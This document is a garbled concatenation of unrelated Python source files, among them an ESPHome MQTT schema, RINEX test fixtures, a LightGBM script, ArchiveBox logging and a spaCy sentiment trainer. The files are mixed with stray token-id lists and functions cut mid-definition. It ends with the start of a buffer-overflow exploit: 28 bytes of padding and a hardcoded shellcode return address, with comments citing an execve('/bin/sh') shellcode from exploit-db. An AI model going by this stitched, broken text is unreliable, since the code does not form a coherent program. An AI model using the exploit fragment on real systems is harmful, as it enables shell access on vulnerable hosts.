cv.Optional(CONF_DISCOVERY_OBJECT_ID_GENERATOR, default="none"): cv.enum(
MQTT_DISCOVERY_OBJECT_ID_GENERATOR_OPTIONS
),
cv.Optional(CONF_USE_ABBREVIATIONS, default=True): cv.boolean,
cv.Optional(CONF_BIRTH_MESSAGE): MQTT_MESSAGE_SCHEMA,
cv.Optional(CONF_WILL_MESSAGE): MQTT_MESSAGE_SCHEMA,
cv.Optional(CONF_SHUTDOWN_MESSAGE): MQTT_MESSAGE_SCHEMA,
cv.Optional(CONF_TOPIC_PREFIX, default=lambda: CORE.name): cv.publish_topic,
cv.Optional(CONF_LOG_TOPIC): cv.Any(
None,
MQTT_MESSAGE_BASE.extend(
{
cv.Optional(CONF_LEVEL): logger.is_log_level,
}
),
validate_message_just_topic,
),
cv.Optional(CONF_SSL_FINGERPRINTS): cv.All(
cv.only_on_esp8266, cv.ensure_list(validate_fingerprint)
),
cv.Optional(CONF_KEEPALIVE, default="15s"): cv.positive_time_period_seconds,
cv.Optional(
CONF_REBOOT_TIMEOUT, default="15min"
): cv.positive_time_period_milliseconds,
cv.Optional(CONF_ON_CONNECT): automation.validate_automation(
{
cv.GenerateID(CONF_TRIGGER_ID): cv.declare_id(MQTTConnectTrigger),
}
),
cv.Optional(CONF_ON_DISCONNECT): automation.validate_automation(
{
cv.GenerateID(CONF_TRIGGER_ID): cv.declare_id(
MQTTDisconnectTrigger
),
}
),
cv.Optional(CONF_ON_MESSAGE): automation.validate_automation(
{
cv.GenerateID(CONF_TRIGGER_ID): cv.declare_id(MQTTMessageTrigger),
cv.Required(CONF_TOPIC): cv.subscribe_topic,
cv.Optional(CONF_QOS, default=0): cv.mqtt_qos,
cv.Optional(CONF_PAYLOAD): cv.string_strict,
}
),
cv.Optional(CONF_ON_JSON_MESSAGE): automation.validate_automation(
{
cv.GenerateID(CONF_TRIGGER_ID): cv.declare_id(
MQTTJsonMessageTrigger
),
cv.Required(CONF_TOPIC): cv.subscribe_topic,
cv.Optional(CONF_QOS, default=0): cv.mqtt_qos,
}
),
}
),
validate_config,
)
@coroutine_with_priority(40.0)
MQTT_PUBLISH_ACTION_SCHEMA = cv.Schema(
{
cv.GenerateID(): cv.use_id(MQTTClientComponent),
cv.Required(CONF_TOPIC): cv.templatable(cv.publish_topic),
cv.Required(CONF_PAYLOAD): cv.templatable(cv.mqtt_payload),
cv.Optional(CONF_QOS, default=0): cv.templatable(cv.mqtt_qos),
cv.Optional(CONF_RETAIN, default=False): cv.templatable(cv.boolean),
}
)
@automation.register_action(
"mqtt.publish", MQTTPublishAction, MQTT_PUBLISH_ACTION_SCHEMA
)
MQTT_PUBLISH_JSON_ACTION_SCHEMA = cv.Schema(
{
cv.GenerateID(): cv.use_id(MQTTClientComponent),
cv.Required(CONF_TOPIC): cv.templatable(cv.publish_topic),
cv.Required(CONF_PAYLOAD): cv.lambda_,
cv.Optional(CONF_QOS, default=0): cv.templatable(cv.mqtt_qos),
cv.Optional(CONF_RETAIN, default=False): cv.templatable(cv.boolean),
}
)
@automation.register_action(
"mqtt.publish_json", MQTTPublishJsonAction, MQTT_PUBLISH_JSON_ACTION_SCHEMA
)
@automation.register_condition(
"mqtt.connected",
MQTTConnectedCondition,
cv.Schema(
{
cv.GenerateID(): cv.use_id(MQTTClientComponent),
}
),
)
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] | 1.912754 | 4,814 |
n = int(input())
a = list(map(int, input().split()))
count = 0
j = n - 1
#j là giới hạn bắt đầu của một lần vả: j giúp chống lặp người đã bị giết.
#j phải luôn bé hơn i, vì người ở i chỉ vả được những người ở bên trái nó.
#last_kill_pos: là giới hạn kết thúc của một lần vả.
for i in range(n - 1, -1 , -1):
j = min(i, j)
last_kill_pos = max(0, i - a[i])
if j > last_kill_pos:
count += (j - last_kill_pos)
j = last_kill_pos
print(n - count)
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] | 1.377644 | 331 |
"""
"""
from __future__ import print_function, division
import os
from demo import *
import subprocess
import sys
sys.path.append(os.path.abspath('../problems/'))
# Get the git root directory
root=repo_dir = subprocess.Popen(['git'
,'rev-parse'
, '--show-toplevel']
, stdout=subprocess.PIPE
).communicate()[0].rstrip()
sys.path.append(root)
from pdb import set_trace
from dtlz2 import DTLZ2
from multiprocessing import Pool
from random import seed as rseed, randint as randi
import numpy as np
from time import time
from tools.quality import measure
def gale0(model=DTLZ2(n_dec=30,n_obj=3), new=[], pop=int(1e4)):
"""
Recursive FASTMAP clustering.
"""
if len(new)==0:
frontier = model.generate(pop)
else:
frontier=new
frontier.extend(model.generate(pop-len(new)))
N = np.shape(frontier)[0]
leaf = []
norm = np.max(frontier, axis=0) - np.min(frontier, axis=0)
recurse(frontier)
a,b=distant(leaf)
(good, bad) = (a,b) if cdom(model.solve(a), model.solve(b)) else (b,a)
new=mutate(leaf,good,g=0.5)
return new
def GALE2(n_proc=10,frontSize=100,iters=1000,model=DTLZ2(n_dec=30, n_obj=3)):
"""
WHY do threads take more time than single processors?? FIX THIS!!!
:param n_proc:
:param frontSize:
:param iters:
:param model:
:return:
"""
t = time()
collect=[]
final = []
popSize = [int(frontSize/n_proc)]*n_proc
# initpop = [(model, model.generate(1000), 1000) for _ in xrange(n_proc)]
p=Pool(processes=n_proc)
collect.extend(p.map(gale2, popSize))
for cc in collect: final.extend(cc)
# set_trace()
ret = gale0(model=DTLZ2(n_dec=30, n_obj=3),new=final,pop=len(final))
print('Time Taken: ', time()-t)
return ret
if __name__=="__main__":
eval(cmd()) | [
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8,
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11,
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62,
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28,
18,
828,
3605,
28,
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11,
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28,
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7,
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198,
220,
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25,
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8,
198,
220,
1441,
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198,
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361,
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3672,
834,
855,
1,
834,
12417,
834,
1298,
198,
220,
5418,
7,
28758,
28955
] | 2.223013 | 843 |
import os
from unittest.mock import patch
from pytest import fixture, mark
from ..bitbucket import BitbucketOAuthenticator
from .mocks import setup_oauth_mock
def user_model(username):
"""Return a user model"""
return {
'username': username,
}
@fixture
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] | 2.838384 | 99 |
import pytest
from stockmarket.agent import Trader
from stockmarket.switchingstrategies import *
from stockmarket.valuationfunctions import *
from numpy.testing import assert_equal
from numpy.testing import assert_raises
@pytest.fixture()
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"""pmi_odds.py: computes the PMI (Pointwise mutual information) with odds
"""
import json
import os
from probabilities import pmi_odds
__author__ = "Edimar Manica"
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# NOTE(kaste): Take from https://github.com/randy3k/AlignTab
# Copyright (c) 2015 Randy Lai <[email protected]>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import sublime
import sublime_plugin
if 'history' not in globals():
history = History()
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874,
33529,
198,
220,
220,
220,
2106,
796,
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3419,
628
] | 3.665706 | 347 |
baud_rate = 115200
port = "/dev/ttyACM1"
input_file=None
output_file='log.txt'
wait_for_flash = 10
bits_to_cache = 1600
mxchip_file = "/media/newt/AZ31665"
setup_string = "Setup complete"
skip_setup = False
mxchip_buf_pause = .06
serial_comm_timeout = 2
device_type = 'mxchip'
test_timeout = None
reset_device = False
tests_run = False
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if __name__ == '__main__':
import sys
import pickle
from multiprocessing import current_process
from multiprocessing.spawn import import_main_path
data = pickle.load(sys.stdin.buffer)
current_process().authkey = data['authkey']
sys.path = data['path']
import_main_path(data['main'])
impl = pickle.loads(data['impl'])
from pulsar.async.concurrency import run_actor
run_actor(impl)
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7,
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8,
198
] | 2.691824 | 159 |
from io import StringIO
import pytest
from testlib import mktmp
_nav_content_v2 = '''\
2 NAVIGATION DATA RINEX VERSION / TYPE
CCRINEXN V1.6.0 UX CDDIS 12-APR-16 17:31 PGM / RUN BY / DATE
IGS BROADCAST EPHEMERIS FILE COMMENT
0.1583D-07 0.1490D-07 -0.1192D-06 -0.1192D-06 ION ALPHA
0.1065D+06 0.6554D+05 -0.1966D+06 -0.1966D+06 ION BETA
0.186264514923D-08 0.000000000000D+00 233472 1892 DELTA-UTC: A0,A1,T,W
17 LEAP SECONDS
END OF HEADER
1 16 4 11 0 0 0.0 0.169607810676D-04 0.113686837722D-11 0.000000000000D+00
0.350000000000D+02 0.222500000000D+02 0.482198656938D-08 0.368417754673D+00
0.121630728245D-05 0.527631223667D-02 0.668689608574D-05 0.515364252472D+04
0.864000000000D+05 0.391155481338D-07-0.140616900879D+01 0.106170773506D-06
0.963711739811D+00 0.247687500000D+03 0.450110393247D+00-0.827070165078D-08
0.284654714154D-09 0.100000000000D+01 0.189200000000D+04 0.000000000000D+00
0.200000000000D+01 0.000000000000D+00 0.512227416039D-08 0.350000000000D+02
0.805020000000D+05 0.400000000000D+01 0.000000000000D+00 0.000000000000D+00
2 16 4 11 0 0 0.0 0.597649253905D-03-0.181898940355D-11 0.000000000000D+00
0.830000000000D+02 0.185937500000D+02 0.527057686384D-08 0.763017673126D+00
0.114180147648D-05 0.156129685929D-01 0.783614814282D-05 0.515374914742D+04
0.864000000000D+05-0.163912773132D-06-0.145069785349D+01 0.100582838059D-06
0.942463959213D+00 0.223656250000D+03-0.213318032835D+01-0.861071569602D-08
0.216080431326D-09 0.100000000000D+01 0.189200000000D+04 0.000000000000D+00
0.200000000000D+01 0.000000000000D+00-0.200234353542D-07 0.830000000000D+02
0.864000000000D+05 0.000000000000D+00 0.000000000000D+00 0.000000000000D+00
'''
_nav_content_v3 = '''\
3.03 NAVIGATION DATA M (Mixed) RINEX VERSION / TYPE
BCEmerge congo 20170909 012902 GMT PGM / RUN BY / DATE
Merged GPS/GLO/GAL/BDS/QZS/SBAS/IRNSS navigation file COMMENT
based on CONGO and MGEX tracking data COMMENT
DLR: O. Montenbruck; TUM: P. Steigenberger COMMENT
GAUT 2.7939677238e-09 1.776356839e-15 345600 1965 TIME SYSTEM CORR
GLGP 1.8626451492e-08 0.000000000e+00 345600 1965 TIME SYSTEM CORR
GLUT 9.3132257462e-10 0.000000000e+00 345600 1965 TIME SYSTEM CORR
GPGA 1.0040821508e-08 3.330669074e-14 432000 1965 TIME SYSTEM CORR
GPUT 9.3132257462e-10 1.776356839e-15 589824 1965 TIME SYSTEM CORR
QZUT 6.5192580223e-09 0.000000000e+00 8192 1966 TIME SYSTEM CORR
18 LEAP SECONDS
END OF HEADER
G01 2017 09 08 00 00 00 5.530333146453e-05-4.547473508865e-13 0.000000000000e+00
7.200000000000e+01-2.653125000000e+01 4.883774857397e-09-2.309091328065e-01
-1.233071088791e-06 7.021094555967e-03 2.788379788399e-06 5.153673307419e+03
4.320000000000e+05 7.823109626770e-08 2.011192878165e+00 4.284083843231e-08
9.681868691207e-01 3.310000000000e+02 6.192489497701e-01-8.576071513516e-09
-2.500104139373e-11 1.000000000000e+00 1.965000000000e+03 0.000000000000e+00
2.000000000000e+00 0.000000000000e+00 5.587935447693e-09 7.200000000000e+01
4.248180000000e+05 4.000000000000e+00
S20 2017 09 08 00 16 32 0.000000000000e+00 0.000000000000e+00 4.330030000000e+05
4.063672000000e+04 0.000000000000e+00 0.000000000000e+00 1.000000000000e+00
-1.124591600000e+04 0.000000000000e+00 0.000000000000e+00 3.276700000000e+04
0.000000000000e+00 0.000000000000e+00 0.000000000000e+00 2.150000000000e+02
'''
_nav_content_v3_unsorted = '''\
3.03 NAVIGATION DATA M (Mixed) RINEX VERSION / TYPE
BCEmerge congo 20170909 012902 GMT PGM / RUN BY / DATE
18 LEAP SECONDS
END OF HEADER
S20 2017 09 08 00 05 52 0.000000000000e+00 0.000000000000e+00 4.323620000000e+05
4.063672000000e+04 0.000000000000e+00 0.000000000000e+00 1.000000000000e+00
-1.124591600000e+04 0.000000000000e+00 0.000000000000e+00 3.276700000000e+04
0.000000000000e+00 0.000000000000e+00 0.000000000000e+00 2.200000000000e+01
S20 2017 09 08 00 00 32 0.000000000000e+00 0.000000000000e+00 4.320410000000e+05
4.063672000000e+04 0.000000000000e+00 0.000000000000e+00 1.000000000000e+00
-1.124591600000e+04 0.000000000000e+00 0.000000000000e+00 3.276700000000e+04
0.000000000000e+00 0.000000000000e+00 0.000000000000e+00 2.000000000000e+00
S20 2017 09 08 00 03 12 0.000000000000e+00 0.000000000000e+00 4.322000000000e+05
4.063672000000e+04 0.000000000000e+00 0.000000000000e+00 1.000000000000e+00
-1.124591600000e+04 0.000000000000e+00 0.000000000000e+00 3.276700000000e+04
0.000000000000e+00 0.000000000000e+00 0.000000000000e+00 1.200000000000e+01
'''
@pytest.fixture
@pytest.fixture
@pytest.fixture
@pytest.fixture
@pytest.fixture
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] | 1.844309 | 2,961 |
# Copyright 2017 Intel Corporation.
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors.
# The Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions.
# No part of the Material may be used, copied, reproduced, modified, published,
# uploaded, posted, transmitted, distributed or disclosed in any way without
# Intel's prior express written permission. No license under any patent,
# copyright or other intellectual property rights in the Material is granted to
# or conferred upon you, either expressly, by implication, inducement, estoppel
# or otherwise.
# Any license under such intellectual property rights must be express and
# approved by Intel in writing.
import sys
import tensorflow as tf
import google.protobuf as proto
import numpy as np
import math
import re
from Models.Network import *
from Models.NetworkStage import *
from Models.EnumDeclarations import *
from tensorflow.core.framework import graph_pb2
from tensorflow.python.framework import ops
from Controllers.TensorFlowPreproc import TFPreprocessor
from Controllers.TensorFlowPreproc import PatternType
sys.setrecursionlimit(5000)
placeholder_dict = {}
const_dict = {}
node_dict = {}
variable_dict = {}
concat_tracker = []
reshape_tracker = []
identity_tracker = []
padding_tracker = []
inputnode = 'input'
os.environ["TF_CPP_MIN_LOG_LEVEL"] = "2"
def same_padding(in_dim, kernel_dim, stride_dim):
"""
Calculates the output dimension and also the padding required for that dimension.
:param in_dim: Width/Height of Input
:param kernel_dim: Width/Height of Kernel
:param stride_dim: Vertical/Horizontal Stride
"""
output_dim = math.ceil(float(in_dim) / float(stride_dim))
pad = ((output_dim - 1) * stride_dim + kernel_dim - in_dim) / 2
return output_dim, pad
def get_deconv_padding(input_shape, output_shape, kernel_shape, stride):
"""
input_shape: N,H,W,C
output_shape: N,H,W,C
kernel_shape: kh,kw
stride: 1,sh,sw,sc
"""
pady = 0
padx = 0
# 2Xpad = stride X (input - 1) + kernel - out
pady = stride[1] * (input_shape[1] - 1) + kernel_shape[0] - output_shape[1]
padx = stride[2] * (input_shape[2] - 1) + kernel_shape[1] - output_shape[2]
if (pady % 2 == 1):
pady = -1
else:
pady = pady / 2
if (padx % 2 == 1):
padx = -1
else:
padx = padx / 2
return int(pady), int(padx)
# Count how many times we need this as an input
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'''
Getline - A library to get text from the console
Author: Tim Henderson
Contact: [email protected]
Copyright (c) 2010 All Rights Reserved.
Licensed under a BSD style license see the LICENSE file.
File: __linux_impl
Purpose: The linux implementation of getline
'''
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import unittest
def first_negative_index():
"""
Returns the index of the first negative element in a given list of numbers.
"""
return
if __name__ == "__main__":
unittest.main()
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# coding: utf-8
from __future__ import division
import numpy as np
import pandas as pd
from sklearn import metrics
import lightgbm as lgb
import time
from multiprocessing import cpu_count
import warnings
warnings.filterwarnings('ignore')
# Constants define
ROOT_PATH = '../'
ONLINE = 1
target = 'label'
train_len = 4999
threshold = 0.5
########################################### Helper function ###########################################
########################################### Read data ###########################################
train = pd.read_csv(ROOT_PATH + 'data/input/train/uid_train.txt', header=None, sep='\t')
train.columns = ['uid', 'label']
train_voice = pd.read_csv(ROOT_PATH + 'data/input/train/voice_train.txt', header=None, sep='\t')
train_voice.columns = ['uid', 'opp_num', 'opp_head', 'opp_len', 'start_time', 'end_time', 'call_type', 'in_out']
train_sms = pd.read_csv(ROOT_PATH + 'data/input/train/sms_train.txt', header=None, sep='\t')
train_sms.columns = ['uid', 'opp_num', 'opp_head', 'opp_len', 'start_time', 'in_out']
train_wa = pd.read_csv(ROOT_PATH + 'data/input/train/wa_train.txt', header=None, sep='\t')
train_wa.columns = ['uid', 'wa_name', 'visit_cnt', 'visit_dura', 'up_flow', 'down_flow', 'wa_type', 'date']
test = pd.DataFrame({'uid': ['u' + str(i) for i in range(5000, 7000)]})
test_voice = pd.read_csv(ROOT_PATH + 'data/input/test_a/voice_test_a.txt', header=None, sep='\t')
test_voice.columns = ['uid', 'opp_num', 'opp_head', 'opp_len', 'start_time', 'end_time', 'call_type', 'in_out']
test_sms = pd.read_csv(ROOT_PATH + 'data/input/test_a/sms_test_a.txt', header=None, sep='\t')
test_sms.columns = ['uid', 'opp_num', 'opp_head', 'opp_len', 'start_time', 'in_out']
test_wa = pd.read_csv(ROOT_PATH + 'data/input/test_a/wa_test_a.txt', header=None, sep='\t')
test_wa.columns = ['uid', 'wa_name', 'visit_cnt', 'visit_dura', 'up_flow', 'down_flow', 'wa_type', 'date']
df = pd.concat([train, test]).reset_index(drop=True)
df_voice = pd.concat([train_voice, test_voice]).reset_index(drop=True)
df_sms = pd.concat([train_sms, test_sms]).reset_index(drop=True)
df_wa = pd.concat([train_wa, test_wa]).reset_index(drop=True)
########################################### Feature engineer ###########################################
predictors = []
df, predictors_tmp = merge_feat_count(df, df_voice, ['uid'], 'count_gb_uid_in_voice'); predictors += predictors_tmp
df, predictors_tmp = merge_feat_count(df, df_sms, ['uid'], 'count_gb_uid_in_sms'); predictors += predictors_tmp
df, predictors_tmp = merge_feat_count(df, df_wa, ['uid'], 'count_gb_uid_in_wa'); predictors += predictors_tmp
df, predictors_tmp = merge_feat_onehot_count(df, df_voice, ['uid', 'opp_len'], 'voice_opp_len'); predictors += predictors_tmp
df, predictors_tmp = merge_feat_onehot_count(df, df_voice, ['uid', 'call_type'], 'voice_call_type'); predictors += predictors_tmp
df, predictors_tmp = merge_feat_onehot_count(df, df_voice, ['uid', 'in_out'], 'voice_in_out_'); predictors += predictors_tmp
df, predictors_tmp = merge_feat_onehot_count(df, df_sms, ['uid', 'opp_len'], 'sms_opp_len'); predictors += predictors_tmp
df, predictors_tmp = merge_feat_onehot_count(df, df_sms, ['uid', 'in_out'], 'sms_in_out'); predictors += predictors_tmp
df, predictors_tmp = merge_feat_onehot_count(df, df_wa, ['uid', 'wa_type'], 'wa_type'); predictors += predictors_tmp
df, predictors_tmp = merge_feat_onehot_count(df, df_wa, ['uid', 'date'], 'wa_date'); predictors += predictors_tmp
df, predictors_tmp = merge_feat_nunique(df, df_voice, ['uid'], 'opp_num', 'nunique_oppNum_gb_uid_in_voice'); predictors += predictors_tmp
df, predictors_tmp = merge_feat_nunique(df, df_voice, ['uid'], 'opp_head', 'nunique_oppHead_gb_uid_in_voice'); predictors += predictors_tmp
df, predictors_tmp = merge_feat_nunique(df, df_sms, ['uid'], 'opp_num', 'nunique_oppNum_gb_uid_in_sms'); predictors += predictors_tmp
df, predictors_tmp = merge_feat_nunique(df, df_sms, ['uid'], 'opp_head', 'nunique_oppHead_gb_uid_in_sms'); predictors += predictors_tmp
df, predictors_tmp = merge_feat_nunique(df, df_wa, ['uid'], 'wa_name', 'nunique_waName_gb_uid_in_wa'); predictors += predictors_tmp
col_list = ['visit_cnt', 'visit_dura', 'up_flow', 'down_flow']
for i in col_list:
df, predictors_tmp = merge_feat_min(df, df_wa, ['uid'], i, 'min_%s_gb_uid_in_wa' % i); predictors += predictors_tmp
df, predictors_tmp = merge_feat_max(df, df_wa, ['uid'], i, 'max_%s_gb_uid_in_wa' % i); predictors += predictors_tmp
df, predictors_tmp = merge_feat_mean(df, df_wa, ['uid'], i, 'mean_%s_gb_uid_in_wa' % i); predictors += predictors_tmp
train_x = df.loc[:(train_len - 1), predictors]
train_y = df.loc[:(train_len - 1), target]
test_x = df.loc[train_len:, predictors]
########################################### LightGBM ###########################################
config_lgb = {
'rounds': 10000,
'folds': 5
}
params_lgb = {
'boosting_type': 'gbdt',
'objective': 'binary',
'metric': {'auc'},
'num_leaves': 63,
'learning_rate': 0.06,
'feature_fraction': 0.8,
'bagging_fraction': 0.8,
'bagging_freq': 1,
# 'min_sum_hessian_in_leaf': 10,
'verbosity': 5,
'num_threads': cpu_count() - 1,
'seed': 7,
}
# lgb_cv(train_x, train_y, params_lgb, config_lgb['rounds'], config_lgb['folds'])
model_lgb, pred_lgb = lgb_train_predict(train_x, train_y, test_x, params_lgb, 90)
result = store_result(test.uid, pred_lgb, threshold, '20180523-lgb-%d-%d(r%d)' % (7742, 9098, 90))
result = store_result(test.uid, pred_lgb, threshold, 'submission')
imp = pd.DataFrame({'feature':train_x.columns.values, 'importance':list(model_lgb.feature_importance())})
imp = imp.sort_values(by = 'importance', ascending = False)
imp.to_csv(ROOT_PATH + 'data/output/feat_imp/imp-20180523-%d-%d(r%d).csv' % (7700, 9102, 90), index=False)
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] | 2.55308 | 2,289 |
import sys
from datetime import datetime
from config import ANSI, REPO_DIR, OUTPUT_DIR
# globals are bad, mmkay
_LAST_RUN_STATS = {
'skipped': 0,
'succeeded': 0,
'failed': 0,
'parsing_start_ts': 0,
'parsing_end_ts': 0,
'indexing_start_ts': 0,
'indexing_end_ts': 0,
'archiving_start_ts': 0,
'archiving_end_ts': 0,
'links': {},
}
def pretty_path(path):
"""convert paths like .../ArchiveBox/archivebox/../output/abc into output/abc"""
return path.replace(REPO_DIR + '/', '')
### Parsing Stage
### Indexing Stage
### Archiving Stage
def log_archive_method_finished(result):
"""quote the argument with whitespace in a command so the user can
copy-paste the outputted string directly to run the cmd
"""
required_keys = ('cmd', 'pwd', 'output', 'status', 'start_ts', 'end_ts')
assert (
isinstance(result, dict)
and all(key in result for key in required_keys)
and ('output' in result)
), 'Archive method did not return a valid result.'
# Prettify CMD string and make it safe to copy-paste by quoting arguments
quoted_cmd = ' '.join(
'"{}"'.format(arg) if ' ' in arg else arg
for arg in result['cmd']
)
if result['status'] == 'failed':
# Prettify error output hints string and limit to five lines
hints = getattr(result['output'], 'hints', None) or ()
if hints:
hints = hints if isinstance(hints, (list, tuple)) else hints.split('\n')
hints = (
' {}{}{}'.format(ANSI['lightyellow'], line.strip(), ANSI['reset'])
for line in hints[:5] if line.strip()
)
# Collect and prefix output lines with indentation
output_lines = [
'{}Failed:{} {}{}'.format(
ANSI['red'],
result['output'].__class__.__name__.replace('ArchiveError', ''),
result['output'],
ANSI['reset']
),
*hints,
'{}Run to see full output:{}'.format(ANSI['lightred'], ANSI['reset']),
' cd {};'.format(result['pwd']),
' {}'.format(quoted_cmd),
]
print('\n'.join(
' {}'.format(line)
for line in output_lines
if line
))
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611,
1627,
198,
220,
220,
220,
220,
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220,
220,
15306,
198
] | 2.198682 | 1,062 |
from typing import Hashable, List, Tuple, Mapping
import contextlib
import pytest
import numpy as np
import joblib
import xarray
import io
@contextlib.contextmanager
def no_warning(*args):
"""Raise error if any errors occur. Takes the same arguments as
``pytest.warns``.
Example:
>>> import warnings
>>> from vcm.testing import no_warning
>>> with no_warning(UserWarning):
... warnings.warn(UserWarning("A warning"))
...
Traceback (most recent call last):
File "<ipython-input-9-c178a20fa539>", line 2, in <module>
warnings.warn(UserWarning("A warning"))
File "/Users/noah/.pyenv/versions/miniconda3-latest/envs/fv3net/lib/python3.7/contextlib.py", line 119, in __exit__
next(self.gen)
File "/Users/noah/workspace/fv3net/external/vcm/vcm/testing.py", line 14, in no_warning
assert len(record) == 0
AssertionError
""" # noqa
with pytest.warns(*args) as record:
yield
assert len(record) == 0
def checksum_dataarray_mapping(
d: Mapping[Hashable, xarray.DataArray]
) -> List[Tuple[Hashable, str]]:
"""Checksum a mapping of datarrays
Returns:
sorted list of (key, hash) combinations. This is sorted to simplify
regression testing.
"""
sorted_keys = sorted(d.keys())
return [(key, checksum_dataarray(d[key])) for key in sorted_keys]
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287,
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] | 2.492174 | 575 |
nome=input("Digite seu nome:")
idade=int(input("Digite sua idade:"))
sexo=input("Digite seu sexo [m/f]:")
tupla=(nome,idade,sexo)
print(tupla) | [
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] | 2.088235 | 68 |
"""Structure for model trainer loosely taken from https://realpython.com/sentiment-analysis-python mainly for guide on spacy.
dataset used is from https://ai.stanford.edu/~amaas/data/sentiment/
using version 2.3.5 of spacy as version 3 includes api issues when trying to use en cor web sm
"""
import os
from random import shuffle
import numpy as np
import spacy
import pickle
from spacy.util import minibatch, compounding
from spacy.tokenizer import Tokenizer
from spacy.pipeline import Morphologizer
import csv
def format_training_data(direc: str = "data/training/aclImdb/train") -> None:
"""
Loads the training data from file_directory and stores the data into a pickle file
Do not run if you have not downloaded and extracted the files from the downloadable tar.gz
"""
reviews = []
# we have a folder of positive reviews and negative reviews so well do two iterations
for cat in ('pos', 'neg'):
# grabs each individual review (each review is stored in its own text file)
for review_direc in filter(lambda j: j[-4:]=='.txt', os.listdir(f'{direc}/{cat}')):
with open(f'{direc}/{cat}/{review_direc}', encoding="Latin-1") as f:
#cleans the text and cattegorizes it
reviews.append((f.read().replace('<br />', r'\n\n').strip(), {'cats':{'pos':'pos'==cat,'neg':'neg'==cat}}))
with open('data/training/movie_reviews_data.pkl', 'wb') as f:
pickle.dump(reviews, f)
def shuffle_training_data(data: list, split: int = .8) -> tuple[list]:
"""
shuffles the data and separates it by split in order to have a
training dataset and a testing dataset. Default is a 4:1 split
as recommended
"""
shuffle(data)
return data[int(len(data)*split):], data[:int(len(data)*split)]
def grab_training_data(shuffle: bool = False, direc: str = 'data/training/movie_reviews_data.pkl') -> tuple[list]:
"""
Opens the reviews stored in the pickle file.
If shuffle is true that means that we should get the data
ready by running shuffle_training_Data
"""
with open(direc, 'rb') as f:
reviews = pickle.load(f)
return shuffle_training_data(reviews) if shuffle else tuple(reviews)
def save_model(nlp, optimizer, training_data, test_data, directory: str= 'models/sentiment/model_artifacts') -> None:
"""saves the given model"""
with nlp.use_params(optimizer.averages):
nlp.to_disk(directory)
print(f"Model Saved to {directory}")
def train_model(training_data: list[tuple], test_data: list[tuple], count: int):
"""
Trains model given training data. Code structure taken from https://realpython.com/sentiment-analysis-python
Changes were made due to some efficiency issues, unclear code, and outdated uses of APIs and libraries
"""
results_txt = []
nlp = spacy.load("en_core_web_sm") # for en_core_web_sm legacy issue, pip3 install:
# https://github.com/explosion/spacy-models/releases/download/en_core_web_sm-2.2.0/en_core_web_sm-2.2.0.tar.gz
# morphologizer documentation: https://spacy.io/api/morphologizer#add_label
if "textcat" not in nlp.pipe_names:
nlp.add_pipe(nlp.create_pipe("textcat", config={"architecture": "simple_cnn"}), last=True)
textcat = nlp.get_pipe("textcat")
textcat.add_label("pos")
textcat.add_label("neg")
with open('models/sentiment/models/test_data.pkl', 'wb') as f:
pickle.dump(test_data, f)
# code to exclude useless pipes from training
with nlp.disable_pipes([pipe for pipe in nlp.pipe_names if pipe!="textcat"]):
optimizer = nlp.begin_training()
batch_sizes = compounding(4.0, 32.0, 1.001)
for i in range(count):
shuffle(training_data)
batches, loss = minibatch(training_data, size = batch_sizes), {}
for batch in batches:
text, labels = zip(*batch) # batch is in the form [(text,label)] so we zip* and get a list for each
nlp.update(text, labels, drop=.2, sgd=optimizer, losses = loss)
with textcat.model.use_params(optimizer.averages):
results = evaluate_model(nlp.tokenizer, textcat, test_data)
txt_wrp = f'Model #{i+1}/{count}: Precision: {results["precision"]}, Recall: {results["recall"]}, F-Score: {results["f-score"]}, loss:{loss["textcat"]}.'
print(txt_wrp,end=' ')
results_txt.append(txt_wrp)
write_data_to_csv(results, loss, i)
# uncomment to save model "BE CAREFUL MAY DESTROY PREVIOUS MODEL"
save_model(nlp, optimizer, training_data, test_data, f'models/sentiment/models/model{i+1}')
with open('models/sentiment/results.txt', 'w') as f:
for result in results_txt:
f.write(result+'\n')
def evaluate_model(tokenizer: Tokenizer, textcat: Morphologizer, test_data: list) -> dict:
"""
evaluate the model to see if it is worthwhile to save the model
"""
true_positives = true_negatives = 0
false_positives = false_negatives = 1e-8 # near 0 to avoid /0 $$ textcat.pipe(tokenizer(x[0])).cats['pos'],
tokens, labels = zip(*map(lambda x: (tokenizer(x[0]), x[1]['cats']), test_data))
for score, true_label in zip([i.cats['pos'] for i in textcat.pipe(tokens)], labels):
if score >= 0.5 and true_label["pos"]:
true_positives += 1
elif score >= 0.5 and true_label["neg"]:
false_positives += 1
elif score < 0.5 and true_label["neg"]:
true_negatives += 1
elif score < 0.5 and true_label["pos"]:
false_negatives += 1
precision = true_positives / (true_positives + false_positives)
recall = true_positives / (true_positives + false_negatives)
f_score = 2 * (precision * recall) / (precision + recall) if precision + recall else 0
return {"precision": precision, "recall": recall, "f-score": f_score}
if __name__ == "__main__":
# Uncomment to retrain models
# DISCLAIMER: takes hours and overwrites other files
data = grab_training_data(True)
# train_model(data[0], data[1], 25)
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] | 2.522996 | 2,457 |
#!/usr/bin/env python2
import struct
padding = 'A'*28
#Address used with gdb
#shellcode_addr = struct.pack("I", 0xffffd040)
#Address used for exploit
shellcode_addr = struct.pack("I", 0xffffd0b0)
#Source: https://www.exploit-db.com/shellcodes/46809
#execve("/bin/sh", NULL, NULL)
